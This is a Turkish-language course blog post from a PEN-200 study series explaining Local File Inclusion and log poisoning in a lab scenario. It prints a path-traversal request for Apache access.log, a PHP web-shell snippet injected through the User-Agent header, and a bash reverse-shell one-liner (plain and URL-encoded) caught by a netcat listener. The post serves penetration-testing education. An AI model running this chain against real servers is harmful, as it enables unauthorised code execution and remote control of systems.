PEN-200

Local File Inclusion | PEN-200

Merhaba. Offensive Security tarafında yer alan “PEN-200: Penetration Testing with Kali Linux” sertifika eğitimi yazı serisinin on dokuzuncu yazısı olan “Local File Inclusion” konusunu ele alacağım. 

Local File Inclusion (LFI) zafiyetini incelemeden önce, File Inclusion ile Directory Traversal arasındaki farkları keşfetmek için biraz zaman ayıralım. Bu iki kavram, penetrasyon test uzmanları ve güvenlik uzmanları tarafından sıklıkla karıştırılmaktadır. Bulduğumuz güvenlik açığının türünü karıştırırsak kod yürütme fırsatını kaçırabiliriz.

Bir önceki yazıda ele alındığı gibi, web sunucusunun web kökü dışındaki bir dosyanın içeriğini elde etmek için Directory Traversal güvenlik açıklarını kullanabiliriz. File Inclusion güvenlik açıkları, bir dosyayı uygulamanın çalışan koduna “dahil etmemize” olanak tanır. Bu, yerel (local) veya uzak (remote) dosyaları yürütmek için File Inclusion güvenlik açıklarını kullanabileceğimiz anlamına gelirken, Directory Traversal yalnızca bir dosyanın içeriğini okumamıza izin verir. Dosya ekleme açıklarına sahip dosyaları uygulamanın çalışan koduna dahil edebildiğimiz için, çalıştırılamayan dosyaların dosya içeriklerini de görüntüleyebiliyoruz.

Örneğin, bir PHP web uygulamasında Directory Traversal (dizin geçişi) güvenlik açığından yararlanırsak ve admin.php dosyasını belirtirsek, kaynak PHP dosyasının kodu görüntülenecektir. Öte yandan, File Inclusion (dosya ekleme) güvenlik açığıyla uğraşırken bunun yerine admin.php dosyası çalıştırılacaktır.

Aşağıdaki örnekte amacımız, bir LFI güvenlik açığı aracılığıyla Uzaktan Kod Yürütme (RCE) elde etmektir. Bunu Log Poisoning yardımıyla yapacağız. Log Poisoning, bir web uygulamasına gönderdiğimiz verileri değiştirerek, günlüklerin yürütülebilir kod içermesini sağlayarak çalışır. Bir LFI güvenlik açığı senaryosunda, eklediğimiz yerel dosya, yürütülebilir içerik içeriyorsa yürütülür. Bu, eğer bir dosyaya çalıştırılabilir kod yazmayı başarırsak ve onu çalışan kodun içine dahil edersek, çalıştırılacağı anlamına gelir.

Aşağıdaki örnek olayda Apache’nin /var/log/apache2/ dizinindeki Access.log dosyasına çalıştırılabilir kod yazmaya çalışacağız. Öncelikle hangi bilgilerin tarafımızdan kontrol edildiğini ve Apache tarafından ilgili günlüğe kaydedildiğini incelememiz gerekiyor. Bu durumda “controlled”, bilgileri web uygulamasına göndermeden önce değiştirebileceğimiz anlamına gelir. Apache web sunucusu belgelerini okuyabilir veya dosyayı LFI aracılığıyla görüntüleyebiliriz. Daha önce bulunan LFI güvenlik açığını kullanarak, erişim.log dosyasını görüntüleyerek hangi öğelerin bir günlük girişi içerdiğini analiz etmek için curl’u kullanalım.

Bu kısımda uygun lab ortamı olmadığı için eğitim dokümanındaki görseller ve çıktılar ile devam edeceğim.

kali@kali:~$ curl
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log
...
192.168.50.1 - - [12/Apr/2022:10:34:55 +0000] "GET /meteor/index.php?page=admin.php
HTTP/1.1" 200 2218 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"
...

Yukarıda yer alan çıktı, User Agent bilgisinin günlük girişine dahil edildiğini gösterir. Bir istek göndermeden önce Burp’teki User Agent bilgisini manipüle edip değiştirebilir ve access.log dosyasına ne yazılacağını belirleyebiliriz.

Belirtilen dosya dışında bu komut, önceki yazıda söz ettiğimiz Directory Traversal saldırısına eşdeğerdir. Directory Traversal ve LFI güvenlik açıklarından yararlanma, esas olarak yürütülebilir dosyalar veya içeriklerin işlenmesinde farklılık gösterir.

İlgili sayfaya giderek zafiyeti kullanabileceğimiz parametre için sayfada yer alan Admin butonuna tıklayıp isteği Burp ile yakalayacağız ve Repeater’a göndereceğiz.

İsteği yakaladık ve artık User Agent bilgisini aşağıdaki PHP kod parçacığını içerecek şekilde değiştirebiliriz. Bu kod parçası, cmd parametresi aracılığıyla bir komutu kabul eder ve onu hedef sistemdeki PHP sistem işlevi aracılığıyla yürütür. Komut çıktısını görüntülemek için echo’yu kullanacağız.

<?php echo system($_GET['cmd']); ?>

User Agent bilgisine eklediğimiz PHP kodu access.log dosyasına yazıldı. Dosyayı çağırıp kodumuzu çalıştırmak için aşağıdaki görseldeki parametreyi kullanacağız.

Ayrıca PHP snippet’ine bir komut girmek için URL’ye cmd parametresini eklememiz gerekir. Öncelikle log zehirlenmesinin çalıştığını doğrulamak için ps komutunu girelim. İki parametre için değer sağlamak istediğimizden (günlüğün göreceli yolu için “page” ve komutumuz için “cmd”), sınırlayıcı olarak bir ve işareti (&) kullanabiliriz. Ayrıca, günlüğün tekrar zehirlenmesini önlemek için Kullanıcı Aracısı satırını mevcut Burp isteğinden kaldıracağız; bu, günlükte bulunan iki PHP parçacığı nedeniyle komutumuzun birden fazla yürütülmesine yol açacaktır.

PHP kodumuz ile yerleştirdiğimiz cmd parametresini kullanarak ps komutunu çalıştırdık ve çıktıyı başarılı bir şekilde okuduk. Bir sonraki parametremiz “ls -la” parametresi olacak.

Response bölümündeki çıktı, girdimizin bir hatayı tetiklediğini gösteriyor. Bunun nedeni komut ile parametreler arasındaki boşluktur. Bu sınırlamayı aşmak için Input Field Separators (IFS) veya URL kodlaması gibi kullanabileceğimiz farklı teknikler vardır. URL kodlamada boşluk “%20” olarak temsil edilir. İstekteki boşlukları “%20” ile doldurarak tekrar gönderelim.

Hedef sistemde komut yürütmeyi başardık ve bunu bir reverse shell elde etmek veya SSH anahtarımızı bir kullanıcının authorized_keys dosyasına eklemek için kullanabiliriz. Cmd parametresine bir komut ekleyerek ters kabuk elde etmeye çalışalım. Bir bash komutu ile bunu sağlayabiliriz.

bash -i >& /dev/tcp/192.168.119.3/4444 0>&1

Komutumuzu PHP sistem fonksiyonu üzerinden çalıştıracağımız için, komutun Bash yerine sh olarak da bilinen Bourne Shell aracılığıyla çalıştırılabileceğini bilmeliyiz. Yukarıdaki reverse shell tek satırı, Bourne Shell tarafından desteklenmeyen sözdizimi içeriyor. Reverse Shell’in Bash aracılığıyla çalıştırıldığından emin olmak için reverse shell komutunu değiştirmemiz gerekir. Bunu, Bash ile bir komutu çalıştıran bash -c’ye argüman olarak tek satırlık reverse shell sağlayarak yapabiliriz.

bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"

Özel karakterleri bir kez daha URL encoding tekniği ile kodlayacağız.

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22

Aşağıdaki şekil, isteğe komutumuzu eklemenin doğru yolunu göstermektedir:

İsteği göndermeden önce Kali makinemizde 4444 numaralı portta Netcat listener başlatalım. Hedef sistemden gelen reverse shell’i alacaktır. Dinleyici başlatıldığında isteği göndermek için Burp’ta Gönder tuşuna basabiliriz.

kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.3] from (UNKNOWN) [192.168.50.16] 57848
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
www-data@fbea640f9802:/var/www/html/meteor$ ls
admin.php
bavarian.php
css
fonts
img
index

Yukarıdaki çıktı Netcat dinleyicimizde reverse shell bağlantısını başarıyla aldığımızı gösteriyor. Artık hedef sistemde etkileşimli bir kabuğumuz var.

Bir sonraki bölüme geçmeden önce Windows hedeflerine yönelik LFI saldırılarını kısaca inceleyelim. Windows’ta LFI’dan yararlanmak, yalnızca dosya yolları ve kod yürütme açısından Linux’tan farklıdır. Bu bölümde Linux için kullandığımız PHP kod parçacığı, temel işletim sisteminden bağımsız PHP sistem işlevini kullandığımız için Windows’ta da çalışır. Windows‘ta Log Poisoning kullandığımızda log dosyalarının uygulamaya özel yollarda bulunduğunu anlamalıyız. Örneğin, XAMPP çalıştıran bir hedefte Apache günlükleri C:\xampp\apache\logs\ konumunda bulunabilir.

Directory Traversal güvenlik açıklarından yararlanmak, büyük ölçüde web uygulamasının programlama diline, sürümüne ve web sunucusu yapılandırmasına bağlıdır. PHP dışında, diğer çerçevelerdeki veya Perl, Active Server Pages Extended dahil olmak üzere sunucu tarafı kodlama dillerindeki LFI ve RFI güvenlik açıklarından da yararlanabiliriz.

Bir JSP web uygulamasındaki LFI güvenlik açığını ele alalım. Log Poisoning kullanarak bir dosyaya JSP kodu yazıp bu dosyayı LFI zafiyetine dahil edersek kod çalıştırılacaktır. Bu örnek ile önceki PHP gösterimi arasındaki tek fark, Log Poisoning için kullanılan kodun farklı bir dilde olmasıdır.

Gerçek hayattaki değerlendirmelerde, diğer çerçevelerin ve sunucu tarafı kodlama dillerinin çoğu eski olduğundan ve bu nedenle daha az yaygın olduğundan, çoğunlukla PHP web uygulamalarında File Inclusion güvenlik açıklarını keşfedeceğiz. Ek olarak, modern çerçeveler ve diller genellikle tasarım gereği savunmasız değildir veya LFI’ye karşı varsayılan olarak etkinleştirilmiş koruma mekanizmalarına sahiptir. Ancak LFI açıklarını Node.js gibi modern arka uç JavaScript çalışma zamanı ortamlarında da bulabileceğimizin farkında olmalıyız.

Bu yazı serisinin başında da bahsettiğim üzere dokümana sadık olarak ilerleyeceğim için başlıkları atlamadan yazılara devam ediyorum. Bazı zafiyetlerin dokümandaki şekliyle exploit edilmesi için uygun lablar elimde olamayabiliyor. Bu tarz durumlarda dokümandan görseller alarak ilerliyorum.

PEN-200 serisinin on dokuzuncu yazısının sonuna geldik. Başka yazılarda görüşmek üzere.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

13 + 18 =

Başa dön tuşu